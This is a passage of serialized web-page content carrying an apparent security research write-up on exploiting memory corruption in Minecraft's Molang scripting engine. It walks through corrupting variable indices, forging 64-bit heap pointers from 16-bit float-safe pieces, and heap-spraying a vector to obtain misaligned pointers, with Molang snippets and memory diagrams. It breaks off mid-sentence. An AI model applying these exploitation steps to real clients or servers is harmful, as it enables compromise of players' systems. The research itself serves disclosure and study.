\"pre_animation\"",{"type":23,"tag":314,"props":153011,"children":153012},{"style":338},[153013],{"type":28,"value":152942},{"type":23,"tag":314,"props":153015,"children":153016},{"class":316,"line":1539},[153017],{"type":23,"tag":314,"props":153018,"children":153019},{"style":1245},[153020],{"type":28,"value":153021}," \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":314,"props":153023,"children":153024},{"class":316,"line":1548},[153025],{"type":23,"tag":314,"props":153026,"children":153027},{"style":338},[153028],{"type":28,"value":153029}," ]\n",{"type":23,"tag":314,"props":153031,"children":153032},{"class":316,"line":1584},[153033],{"type":23,"tag":314,"props":153034,"children":153035},{"style":338},[153036],{"type":28,"value":36448},{"type":23,"tag":314,"props":153038,"children":153039},{"class":316,"line":1617},[153040],{"type":23,"tag":314,"props":153041,"children":153042},{"style":338},[153043],{"type":28,"value":2610},{"type":23,"tag":314,"props":153045,"children":153046},{"class":316,"line":1625},[153047],{"type":23,"tag":314,"props":153048,"children":153049},{"style":338},[153050],{"type":28,"value":5126},{"type":23,"tag":314,"props":153052,"children":153053},{"class":316,"line":1660},[153054],{"type":23,"tag":314,"props":153055,"children":153056},{"style":338},[153057],{"type":28,"value":386},{"type":23,"tag":24,"props":153059,"children":153060},{},[153061,153063,153068,153070,153075,153077,153082],{"type":28,"value":153062},"As shown, the pointer of a variable at offset ",{"type":23,"tag":94,"props":153064,"children":153066},{"className":153065},[],[153067],{"type":28,"value":152112},{"type":28,"value":153069}," was modified and the core concept works. During ",{"type":23,"tag":94,"props":153071,"children":153073},{"className":153072},[],[153074],{"type":28,"value":152070},{"type":28,"value":153076}," copy, pointers of some other variables above offset ",{"type":23,"tag":94,"props":153078,"children":153080},{"className":153079},[],[153081],{"type":28,"value":152112},{"type":28,"value":153083}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":153085,"children":153086},{},[153087],{"type":28,"value":153088},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":127,"props":153090,"children":153091},{},[153092,153105],{"type":23,"tag":88,"props":153093,"children":153094},{},[153095,153097,153103],{"type":28,"value":153096},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":94,"props":153098,"children":153100},{"className":153099},[],[153101],{"type":28,"value":153102},"FLT_MAX",{"type":28,"value":153104},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":88,"props":153106,"children":153107},{},[153108,153110,153115,153117,153122,153123,153128,153130,153135],{"type":28,"value":153109},"As noted before, during assignment, ",{"type":23,"tag":94,"props":153111,"children":153113},{"className":153112},[],[153114],{"type":28,"value":152070},{"type":28,"value":153116}," fields are copied, and the ",{"type":23,"tag":94,"props":153118,"children":153120},{"className":153119},[],[153121],{"type":28,"value":38399},{"type":28,"value":152160},{"type":23,"tag":94,"props":153124,"children":153126},{"className":153125},[],[153127],{"type":28,"value":54885},{"type":28,"value":153129},". Since our source ",{"type":23,"tag":94,"props":153131,"children":153133},{"className":153132},[],[153134],{"type":28,"value":152070},{"type":28,"value":153136}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":153138,"children":153139},{},[153140],{"type":28,"value":153141},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":18130,"props":153143,"children":153145},{"id":153144},"expanding-the-idea",[153146],{"type":28,"value":153147},"Expanding the Idea",{"type":23,"tag":24,"props":153149,"children":153150},{},[153151,153153,153158,153160,153165,153166,153171,153173,153178],{"type":28,"value":153152},"As mentioned earlier, the ",{"type":23,"tag":94,"props":153154,"children":153156},{"className":153155},[],[153157],{"type":28,"value":32004},{"type":28,"value":153159}," field of ",{"type":23,"tag":94,"props":153161,"children":153163},{"className":153162},[],[153164],{"type":28,"value":152070},{"type":28,"value":14686},{"type":23,"tag":94,"props":153167,"children":153169},{"className":153168},[],[153170],{"type":28,"value":57184},{"type":28,"value":153172},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":94,"props":153174,"children":153176},{"className":153175},[],[153177],{"type":28,"value":38399},{"type":28,"value":153179}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":153181,"children":153182},{},[153183,153185,153190],{"type":28,"value":153184},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":94,"props":153186,"children":153188},{"className":153187},[],[153189],{"type":28,"value":152178},{"type":28,"value":153191},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":153193,"children":153194},{},[153195,153197,153202,153204,153209,153211,153216,153217,153223],{"type":28,"value":153196},"In the example below, ",{"type":23,"tag":94,"props":153198,"children":153200},{"className":153199},[],[153201],{"type":28,"value":152604},{"type":28,"value":153203}," points to ",{"type":23,"tag":94,"props":153205,"children":153207},{"className":153206},[],[153208],{"type":28,"value":152178},{"type":28,"value":153210},", while ",{"type":23,"tag":94,"props":153212,"children":153214},{"className":153213},[],[153215],{"type":28,"value":152618},{"type":28,"value":153203},{"type":23,"tag":94,"props":153218,"children":153220},{"className":153219},[],[153221],{"type":28,"value":153222},"MolangVariableMap + 4",{"type":28,"value":3746},{"type":23,"tag":304,"props":153225,"children":153227},{"code":153226}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[153228],{"type":23,"tag":94,"props":153229,"children":153230},{"__ignoreMap":7},[153231],{"type":28,"value":153226},{"type":23,"tag":24,"props":153233,"children":153234},{},[153235,153237,153242,153243,153248,153250,153255,153257,153262,153264,153269],{"type":28,"value":153236},"Here, the ",{"type":23,"tag":94,"props":153238,"children":153240},{"className":153239},[],[153241],{"type":28,"value":38399},{"type":28,"value":153159},{"type":23,"tag":94,"props":153244,"children":153246},{"className":153245},[],[153247],{"type":28,"value":152604},{"type":28,"value":153249}," starts at the lower 32 bits of the ",{"type":23,"tag":94,"props":153251,"children":153253},{"className":153252},[],[153254],{"type":28,"value":152674},{"type":28,"value":153256}," pointer, while ",{"type":23,"tag":94,"props":153258,"children":153260},{"className":153259},[],[153261],{"type":28,"value":152618},{"type":28,"value":153263}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":94,"props":153265,"children":153267},{"className":153266},[],[153268],{"type":28,"value":152674},{"type":28,"value":153270}," pointer in a separate variable:",{"type":23,"tag":304,"props":153272,"children":153274},{"code":153273},"variable.saved_upper_32 = variable.b;\n",[153275],{"type":23,"tag":94,"props":153276,"children":153277},{"__ignoreMap":7},[153278],{"type":28,"value":153273},{"type":23,"tag":24,"props":153280,"children":153281},{},[153282],{"type":28,"value":153283},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":304,"props":153285,"children":153287},{"code":153286},"variable.a = variable.a + itof(0x8);\n",[153288],{"type":23,"tag":94,"props":153289,"children":153290},{"__ignoreMap":7},[153291],{"type":28,"value":153286},{"type":23,"tag":24,"props":153293,"children":153294},{},[153295],{"type":28,"value":153296},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":304,"props":153298,"children":153300},{"code":153299}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[153301],{"type":23,"tag":94,"props":153302,"children":153303},{"__ignoreMap":7},[153304],{"type":28,"value":153299},{"type":23,"tag":24,"props":153306,"children":153307},{},[153308,153310,153315],{"type":28,"value":153309},"Since the 32 bits directly below the ",{"type":23,"tag":94,"props":153311,"children":153313},{"className":153312},[],[153314],{"type":28,"value":38399},{"type":28,"value":153316}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":304,"props":153318,"children":153320},{"code":153319},"variable.b = variable.saved_upper_32;\n",[153321],{"type":23,"tag":94,"props":153322,"children":153323},{"__ignoreMap":7},[153324],{"type":28,"value":153319},{"type":23,"tag":24,"props":153326,"children":153327},{},[153328,153330,153335],{"type":28,"value":153329},"Now ",{"type":23,"tag":94,"props":153331,"children":153333},{"className":153332},[],[153334],{"type":28,"value":152674},{"type":28,"value":153336}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":304,"props":153338,"children":153340},{"code":153339}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[153341],{"type":23,"tag":94,"props":153342,"children":153343},{"__ignoreMap":7},[153344],{"type":28,"value":153339},{"type":23,"tag":24,"props":153346,"children":153347},{},[153348,153350,153355],{"type":28,"value":153349},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":94,"props":153351,"children":153353},{"className":153352},[],[153354],{"type":28,"value":153222},{"type":28,"value":153356}," on the heap?",{"type":23,"tag":24,"props":153358,"children":153359},{},[153360,153362,153367,153369,153375],{"type":28,"value":153361},"Additionally, adding 8 to ",{"type":23,"tag":94,"props":153363,"children":153365},{"className":153364},[],[153366],{"type":28,"value":152604},{"type":28,"value":153368}," in the example above wouldn’t work because ",{"type":23,"tag":94,"props":153370,"children":153372},{"className":153371},[],[153373],{"type":28,"value":153374},"0xddccbba0",{"type":28,"value":153376}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":18130,"props":153378,"children":153380},{"id":153379},"the-final-approach",[153381],{"type":28,"value":153382},"The Final Approach",{"type":23,"tag":24,"props":153384,"children":153385},{},[153386,153388,153393,153395,153401],{"type":28,"value":153387},"We realized that instead of having the second pointer at ",{"type":23,"tag":94,"props":153389,"children":153391},{"className":153390},[],[153392],{"type":28,"value":153222},{"type":28,"value":153394},", we could instead have it at ",{"type":23,"tag":94,"props":153396,"children":153398},{"className":153397},[],[153399],{"type":28,"value":153400},"MolangVariableMap + 2",{"type":28,"value":153402},", which would resolve both of our issues.",{"type":23,"tag":24,"props":153404,"children":153405},{},[153406,153408,153413,153414,153419],{"type":28,"value":153407},"Let’s revisit the previous example, but this time ",{"type":23,"tag":94,"props":153409,"children":153411},{"className":153410},[],[153412],{"type":28,"value":152618},{"type":28,"value":153203},{"type":23,"tag":94,"props":153415,"children":153417},{"className":153416},[],[153418],{"type":28,"value":153400},{"type":28,"value":3746},{"type":23,"tag":304,"props":153421,"children":153423},{"code":153422}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153424],{"type":23,"tag":94,"props":153425,"children":153426},{"__ignoreMap":7},[153427],{"type":28,"value":153422},{"type":23,"tag":24,"props":153429,"children":153430},{},[153431,153433,153438],{"type":28,"value":153432},"With this setup, we can calculate any address relative to ",{"type":23,"tag":94,"props":153434,"children":153436},{"className":153435},[],[153437],{"type":28,"value":152674},{"type":28,"value":153439}," by first saving the upper 48 bits of the address:",{"type":23,"tag":304,"props":153441,"children":153443},{"code":153442},"variable.saved_upper_48 = variable.b;\n",[153444],{"type":23,"tag":94,"props":153445,"children":153446},{"__ignoreMap":7},[153447],{"type":28,"value":153442},{"type":23,"tag":24,"props":153449,"children":153450},{},[153451,153452,153458,153460,153466],{"type":28,"value":129081},{"type":23,"tag":94,"props":153453,"children":153455},{"className":153454},[],[153456],{"type":28,"value":153457},"variable.saved_upper_48",{"type":28,"value":153459}," holds the value ",{"type":23,"tag":94,"props":153461,"children":153463},{"className":153462},[],[153464],{"type":28,"value":153465},"0x1c80ddcc",{"type":28,"value":282},{"type":23,"tag":24,"props":153468,"children":153469},{},[153470],{"type":28,"value":153471},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":304,"props":153473,"children":153475},{"code":153474},"variable.b = 0;\n",[153476],{"type":23,"tag":94,"props":153477,"children":153478},{"__ignoreMap":7},[153479],{"type":28,"value":153474},{"type":23,"tag":24,"props":153481,"children":153482},{},[153483],{"type":28,"value":153484},"Resulting in the following state:",{"type":23,"tag":304,"props":153486,"children":153488},{"code":153487}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153489],{"type":23,"tag":94,"props":153490,"children":153491},{"__ignoreMap":7},[153492],{"type":28,"value":153487},{"type":23,"tag":24,"props":153494,"children":153495},{},[153496,153498,153503,153505,153511,153513,153518],{"type":28,"value":153497},"Now, the value of ",{"type":23,"tag":94,"props":153499,"children":153501},{"className":153500},[],[153502],{"type":28,"value":152604},{"type":28,"value":153504}," only spans 16 bits (",{"type":23,"tag":94,"props":153506,"children":153508},{"className":153507},[],[153509],{"type":28,"value":153510},"0xbba0",{"type":28,"value":153512}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":94,"props":153514,"children":153516},{"className":153515},[],[153517],{"type":28,"value":153102},{"type":28,"value":282},{"type":23,"tag":24,"props":153520,"children":153521},{},[153522,153524,153529],{"type":28,"value":153523},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":94,"props":153525,"children":153527},{"className":153526},[],[153528],{"type":28,"value":152604},{"type":28,"value":3746},{"type":23,"tag":304,"props":153531,"children":153532},{"code":153286},[153533],{"type":23,"tag":94,"props":153534,"children":153535},{"__ignoreMap":7},[153536],{"type":28,"value":153286},{"type":23,"tag":24,"props":153538,"children":153539},{},[153540],{"type":28,"value":153541},"Which results in:",{"type":23,"tag":304,"props":153543,"children":153545},{"code":153544}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153546],{"type":23,"tag":94,"props":153547,"children":153548},{"__ignoreMap":7},[153549],{"type":28,"value":153544},{"type":23,"tag":24,"props":153551,"children":153552},{},[153553],{"type":28,"value":153554},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":304,"props":153556,"children":153558},{"code":153557},"variable.b = variable.saved_upper_48;\n",[153559],{"type":23,"tag":94,"props":153560,"children":153561},{"__ignoreMap":7},[153562],{"type":28,"value":153557},{"type":23,"tag":24,"props":153564,"children":153565},{},[153566],{"type":28,"value":153567},"Yielding a valid pointer again:",{"type":23,"tag":304,"props":153569,"children":153571},{"code":153570}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153572],{"type":23,"tag":94,"props":153573,"children":153574},{"__ignoreMap":7},[153575],{"type":28,"value":153570},{"type":23,"tag":24,"props":153577,"children":153578},{},[153579],{"type":28,"value":153580},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":304,"props":153582,"children":153584},{"code":153583},"variable.saved_adjusted_lower_16 = variable.a;\n",[153585],{"type":23,"tag":94,"props":153586,"children":153587},{"__ignoreMap":7},[153588],{"type":28,"value":153583},{"type":23,"tag":24,"props":153590,"children":153591},{},[153592],{"type":28,"value":153593},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":304,"props":153595,"children":153597},{"code":153596},"variable.a = variable.saved_upper_48;\n",[153598],{"type":23,"tag":94,"props":153599,"children":153600},{"__ignoreMap":7},[153601],{"type":28,"value":153596},{"type":23,"tag":24,"props":153603,"children":153604},{},[153605],{"type":28,"value":153606},"This produces the following state:",{"type":23,"tag":304,"props":153608,"children":153610},{"code":153609}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153611],{"type":23,"tag":94,"props":153612,"children":153613},{"__ignoreMap":7},[153614],{"type":28,"value":153609},{"type":23,"tag":24,"props":153616,"children":153617},{},[153618,153620,153625,153627,153633,153635,153641,153643,153648,153650,153655],{"type":28,"value":153619},"As shown, ",{"type":23,"tag":94,"props":153621,"children":153623},{"className":153622},[],[153624],{"type":28,"value":152618},{"type":28,"value":153626}," now contains the upper 16 bits of the address (",{"type":23,"tag":94,"props":153628,"children":153630},{"className":153629},[],[153631],{"type":28,"value":153632},"0x1c80",{"type":28,"value":153634},"), which we can store as ",{"type":23,"tag":94,"props":153636,"children":153638},{"className":153637},[],[153639],{"type":28,"value":153640},"variable.saved_upper_16 = variable.b",{"type":28,"value":153642},". Meanwhile, ",{"type":23,"tag":94,"props":153644,"children":153646},{"className":153645},[],[153647],{"type":28,"value":152604},{"type":28,"value":153649}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":94,"props":153651,"children":153653},{"className":153652},[],[153654],{"type":28,"value":152618},{"type":28,"value":3746},{"type":23,"tag":304,"props":153657,"children":153658},{"code":153474},[153659],{"type":23,"tag":94,"props":153660,"children":153661},{"__ignoreMap":7},[153662],{"type":28,"value":153474},{"type":23,"tag":24,"props":153664,"children":153665},{},[153666],{"type":28,"value":153667},"Leaving us with:",{"type":23,"tag":304,"props":153669,"children":153671},{"code":153670}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153672],{"type":23,"tag":94,"props":153673,"children":153674},{"__ignoreMap":7},[153675],{"type":28,"value":153670},{"type":23,"tag":24,"props":153677,"children":153678},{},[153679],{"type":28,"value":153680},"We can now save the middle 16 bits:",{"type":23,"tag":304,"props":153682,"children":153684},{"code":153683},"variable.saved_middle_16 = variable.a;\n",[153685],{"type":23,"tag":94,"props":153686,"children":153687},{"__ignoreMap":7},[153688],{"type":28,"value":153683},{"type":23,"tag":24,"props":153690,"children":153691},{},[153692],{"type":28,"value":153693},"At this point, we have:",{"type":23,"tag":304,"props":153695,"children":153697},{"code":153696},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[153698],{"type":23,"tag":94,"props":153699,"children":153700},{"__ignoreMap":7},[153701],{"type":28,"value":153696},{"type":23,"tag":24,"props":153703,"children":153704},{},[153705],{"type":28,"value":153706},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":153708,"children":153709},{},[153710],{"type":28,"value":153711},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":304,"props":153713,"children":153715},{"code":153714},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[153716],{"type":23,"tag":94,"props":153717,"children":153718},{"__ignoreMap":7},[153719],{"type":28,"value":153714},{"type":23,"tag":24,"props":153721,"children":153722},{},[153723],{"type":28,"value":153724},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":304,"props":153726,"children":153728},{"code":153727},"variable.a = variable.saved_adjusted_middle_16;\n",[153729],{"type":23,"tag":94,"props":153730,"children":153731},{"__ignoreMap":7},[153732],{"type":28,"value":153727},{"type":23,"tag":24,"props":153734,"children":153735},{},[153736,153738,153743,153744,153750,153751,153757],{"type":28,"value":153737},"Setting ",{"type":23,"tag":94,"props":153739,"children":153741},{"className":153740},[],[153742],{"type":28,"value":152604},{"type":28,"value":56027},{"type":23,"tag":94,"props":153745,"children":153747},{"className":153746},[],[153748],{"type":28,"value":153749},"0xddcd",{"type":28,"value":2324},{"type":23,"tag":94,"props":153752,"children":153754},{"className":153753},[],[153755],{"type":28,"value":153756},"0xddcc + 1",{"type":28,"value":153758},"), and then:",{"type":23,"tag":304,"props":153760,"children":153762},{"code":153761},"variable.b = variable.saved_adjusted_upper_16;\n",[153763],{"type":23,"tag":94,"props":153764,"children":153765},{"__ignoreMap":7},[153766],{"type":28,"value":153761},{"type":23,"tag":24,"props":153768,"children":153769},{},[153770,153772,153777,153779,153785,153786,153792],{"type":28,"value":153771},"Resulting in ",{"type":23,"tag":94,"props":153773,"children":153775},{"className":153774},[],[153776],{"type":28,"value":152618},{"type":28,"value":153778}," value becoming ",{"type":23,"tag":94,"props":153780,"children":153782},{"className":153781},[],[153783],{"type":28,"value":153784},"0x1c81",{"type":28,"value":2324},{"type":23,"tag":94,"props":153787,"children":153789},{"className":153788},[],[153790],{"type":28,"value":153791},"0x1c80 + 1",{"type":28,"value":23191},{"type":23,"tag":304,"props":153794,"children":153796},{"code":153795}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153797],{"type":23,"tag":94,"props":153798,"children":153799},{"__ignoreMap":7},[153800],{"type":28,"value":153795},{"type":23,"tag":24,"props":153802,"children":153803},{},[153804],{"type":28,"value":153805},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":304,"props":153807,"children":153809},{"code":153808},"variable.saved_adjusted_upper_48 = variable.a;\n",[153810],{"type":23,"tag":94,"props":153811,"children":153812},{"__ignoreMap":7},[153813],{"type":28,"value":153808},{"type":23,"tag":24,"props":153815,"children":153816},{},[153817],{"type":28,"value":153818},"Finally, we attach the lower 16 bits:",{"type":23,"tag":304,"props":153820,"children":153822},{"code":153821},"variable.a = variable.saved_adjusted_lower_16;\n",[153823],{"type":23,"tag":94,"props":153824,"children":153825},{"__ignoreMap":7},[153826],{"type":28,"value":153821},{"type":23,"tag":304,"props":153828,"children":153830},{"code":153829}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153831],{"type":23,"tag":94,"props":153832,"children":153833},{"__ignoreMap":7},[153834],{"type":28,"value":153829},{"type":23,"tag":24,"props":153836,"children":153837},{},[153838],{"type":28,"value":153839},"And by setting:",{"type":23,"tag":304,"props":153841,"children":153843},{"code":153842},"variable.b = variable.saved_adjusted_upper_48;\n",[153844],{"type":23,"tag":94,"props":153845,"children":153846},{"__ignoreMap":7},[153847],{"type":28,"value":153842},{"type":23,"tag":24,"props":153849,"children":153850},{},[153851],{"type":28,"value":153852},"We forge the final adjusted pointer:",{"type":23,"tag":304,"props":153854,"children":153856},{"code":153855}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153857],{"type":23,"tag":94,"props":153858,"children":153859},{"__ignoreMap":7},[153860],{"type":28,"value":153855},{"type":23,"tag":18031,"props":153862,"children":153863},{},[],{"type":23,"tag":24,"props":153865,"children":153866},{},[153867,153869,153874],{"type":28,"value":153868},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":94,"props":153870,"children":153872},{"className":153871},[],[153873],{"type":28,"value":153400},{"type":28,"value":153356},{"type":23,"tag":24,"props":153876,"children":153877},{},[153878,153880,153885,153887,153892,153894,153900,153902,153907],{"type":28,"value":153879},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":94,"props":153881,"children":153883},{"className":153882},[],[153884],{"type":28,"value":153400},{"type":28,"value":153886},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":94,"props":153888,"children":153890},{"className":153889},[],[153891],{"type":28,"value":29936},{"type":28,"value":153893}," and the other to ",{"type":23,"tag":94,"props":153895,"children":153897},{"className":153896},[],[153898],{"type":28,"value":153899},"addr + 2",{"type":28,"value":153901}," (as long as ",{"type":23,"tag":94,"props":153903,"children":153905},{"className":153904},[],[153906],{"type":28,"value":29936},{"type":28,"value":153908}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":153910,"children":153911},{},[153912,153914,153919,153920,153925],{"type":28,"value":153913},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":94,"props":153915,"children":153917},{"className":153916},[],[153918],{"type":28,"value":149374},{"type":28,"value":153159},{"type":23,"tag":94,"props":153921,"children":153923},{"className":153922},[],[153924],{"type":28,"value":152178},{"type":28,"value":153926}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":304,"props":153928,"children":153930},{"code":153929},"variable.corrupted_var_map_ptr = variable.a;\n",[153931],{"type":23,"tag":94,"props":153932,"children":153933},{"__ignoreMap":7},[153934],{"type":28,"value":153929},{"type":23,"tag":24,"props":153936,"children":153937},{},[153938,153940,153945,153947,153953],{"type":28,"value":153939},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":94,"props":153941,"children":153943},{"className":153942},[],[153944],{"type":28,"value":38399},{"type":28,"value":153946}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":94,"props":153948,"children":153950},{"className":153949},[],[153951],{"type":28,"value":153952},"variable.corrupted_var_map_ptr",{"type":28,"value":153954},", even though the type itself is only a 32-bit float.",{"type":23,"tag":18130,"props":153956,"children":153958},{"id":153957},"finding-misaligned-pointers",[153959],{"type":28,"value":153960},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":153962,"children":153963},{},[153964,153966,153971,153972,153978],{"type":28,"value":153965},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":94,"props":153967,"children":153969},{"className":153968},[],[153970],{"type":28,"value":13196},{"type":28,"value":557},{"type":23,"tag":94,"props":153973,"children":153975},{"className":153974},[],[153976],{"type":28,"value":153977},"ptr + 2",{"type":28,"value":153979},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":153981,"children":153982},{},[153983,153988,153989,153994,153996,154001,154003,154008,154010,154015,154017,154022,154024,154029,154030,154035],{"type":23,"tag":94,"props":153984,"children":153986},{"className":153985},[],[153987],{"type":28,"value":152354},{"type":28,"value":14686},{"type":23,"tag":94,"props":153990,"children":153992},{"className":153991},[],[153993],{"type":28,"value":152377},{"type":28,"value":153995}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":94,"props":153997,"children":153999},{"className":153998},[],[154000],{"type":28,"value":152208},{"type":28,"value":154002}," contains three pointers: ",{"type":23,"tag":94,"props":154004,"children":154006},{"className":154005},[],[154007],{"type":28,"value":149374},{"type":28,"value":154009}," (the start of the allocated buffer), ",{"type":23,"tag":94,"props":154011,"children":154013},{"className":154012},[],[154014],{"type":28,"value":8389},{"type":28,"value":154016}," (just past the last element) and ",{"type":23,"tag":94,"props":154018,"children":154020},{"className":154019},[],[154021],{"type":28,"value":152307},{"type":28,"value":154023}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":94,"props":154025,"children":154027},{"className":154026},[],[154028],{"type":28,"value":1639},{"type":28,"value":101549},{"type":23,"tag":94,"props":154031,"children":154033},{"className":154032},[],[154034],{"type":28,"value":8389},{"type":28,"value":154036}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":154038,"children":154039},{},[154040,154042,154047,154049,154055],{"type":28,"value":154041},"We can make the ",{"type":23,"tag":94,"props":154043,"children":154045},{"className":154044},[],[154046],{"type":28,"value":8389},{"type":28,"value":154048}," pointer equal to ",{"type":23,"tag":94,"props":154050,"children":154052},{"className":154051},[],[154053],{"type":28,"value":154054},"cap - 2",{"type":28,"value":154056}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":304,"props":154058,"children":154060},{"code":154059}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[154061],{"type":23,"tag":94,"props":154062,"children":154063},{"__ignoreMap":7},[154064],{"type":28,"value":154059},{"type":23,"tag":18031,"props":154066,"children":154067},{},[],{"type":23,"tag":24,"props":154069,"children":154070},{},[154071,154073,154078,154080,154085,154087,154092,154094,154099,154100,154105],{"type":28,"value":154072},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":94,"props":154074,"children":154076},{"className":154075},[],[154077],{"type":28,"value":149374},{"type":28,"value":154079}," pointer of 